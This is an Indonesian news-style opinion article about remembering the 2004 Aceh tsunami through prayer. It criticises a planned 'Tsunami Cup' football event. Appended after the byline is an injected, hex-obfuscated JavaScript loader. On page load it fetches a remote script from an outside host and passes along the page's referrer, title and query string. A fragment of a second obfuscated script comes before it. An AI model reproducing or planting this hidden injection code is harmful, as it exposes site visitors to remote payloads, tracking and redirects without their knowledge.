Peringati Sunami Aceh Dengan Syukur dan Ibadah

KORANFORUM.COM, BANDA ACEH —
Kumandang doa senantiasa terus diperdengarkan dengan lontaran kata semoga tidak terjadi lagi bencana alam kepada masyarakat Aceh.

Ya Allah, Ya Rahman, Ya Rahiim….lindungilah kami semuanya… amin.. amin yarabbal’alamiin.

Antara rencana kegiatan Tsunami Cup dan peristiwa terdamparnya Ikan Paus, mudah-mudahan ini menjadi lampu Hijau bagi yang membuat program “Hura – Hura”.

Teguran Allah Kepada manusia, dimana kitaAi??tidak bisa melupakan kejadian Tsunami yang sangat dahsyat yang menimpa saudara saudara kita, yaitu Bangsa Aceh, yang terjadi pada tanggal 26 Desember 2004 yang lalu.

Bila dihitung, tinggal 42 hari lagi Tanggal 26 Desember 2017, atau genap 13 tahun sudah berlalu peristiwa itu terjadi.

Pada tahun yang lalu, Allah sedang menguji keimanan Bangsa Aceh, apakah Bangsa Aceh tahan atau malah marah marah atas segala musibah tsunami itu.

Kita mengenang terjadinya bencana Sunami 12 tahun yang lalu, banyak sekali orang yang kehilangan orang tuanya, banyak yang kehilngan rumahnya, dan banyak anak yang menjadi yatim karena kehilangan orang tuanya .banyak bangunan bangunan, rumah rumah yang rata dengan tanah.

Mereka hanya bisa meratap dan menangis, menerima semua yang terjadi. Hanya mesjid dan tempat ibadah yang lainnya, yang berdiri kokoh, di rimbunan bangunan yang telah rata dengan tanah.

Itu membuktikan, betapa kebesaran Allah yang melindungi tempat ibadah dan memberikan pembelajaran kepada manusia wabil khusus Bangsa Aceh.

Namun yang menjadi pertanyaan, masih sajakah kita mengenag Tsunami dengan aktifitas Hura-hura? Lalu, pantaskah mengenang Tsunami dengan ajang Sepak bola dan “berfoya foya”?
Waraskah yang membuat program Sunami CUP itu?

Mungkin perlu diingat lagi, ketika anak anak yang mempunyai mimpi yang luar biasa, hilang sekejap ketika air gelombang menghapus semua cita cita yang ingin digapai.

Kadangkala,ketika kita sedang berbahagia, kita akan melupakan yang namanya bersyukur, ketika kita sedang sedih, kita akan mengingat yang namanya bersyukur.

Oleh karena itu, Allah mencoba menguji kita dengan menurunkan musibah kepada kita, agar manusia bisa mendekatkan diri kepada sang pencipta. masih sajakah kita melakukan kemaksiatan dan melupakan ibadah kepada Allah.

Maka oleh karena itu, mari mengenang saudara-saudara kita dalam kejadian Sunami 12 tahun yang lalu, denganAi??mengirimkan Do’a dan Alfatihah, semoga amal ibadah yang telah mereka kerjakan diterima oleh Allah dan Allah masukkan mereka ke dalam Syurganya, serta diberi ketabahan dan sabar bagi yang ditinggalkan orang tuanya, anaknya, dan lainnya.

Semoga rumah dan bangunan yang hancur akan diberikan Allah, yang lebih bagus dan indah. Aamiin yaa Rabbal a’lamin.

Mudah mudahan, ini menjadi bahan intropeksi manusia, wabil khusus Bangsa Aceh, agar tidak lagi melakukan kemaksiatan di Aceh, Serambi Mekkah, Bumi Allah tempatnya Para Auliya.

Akan tetapi, mari kita tingkatkan ibadah kita kepada Allah SWT, supaya kita menjadi Hamba Allah yang mendapat seruan dihari kelak untuk masuk dalam Surganya..Aamiin. (Muhd) _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} cript type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *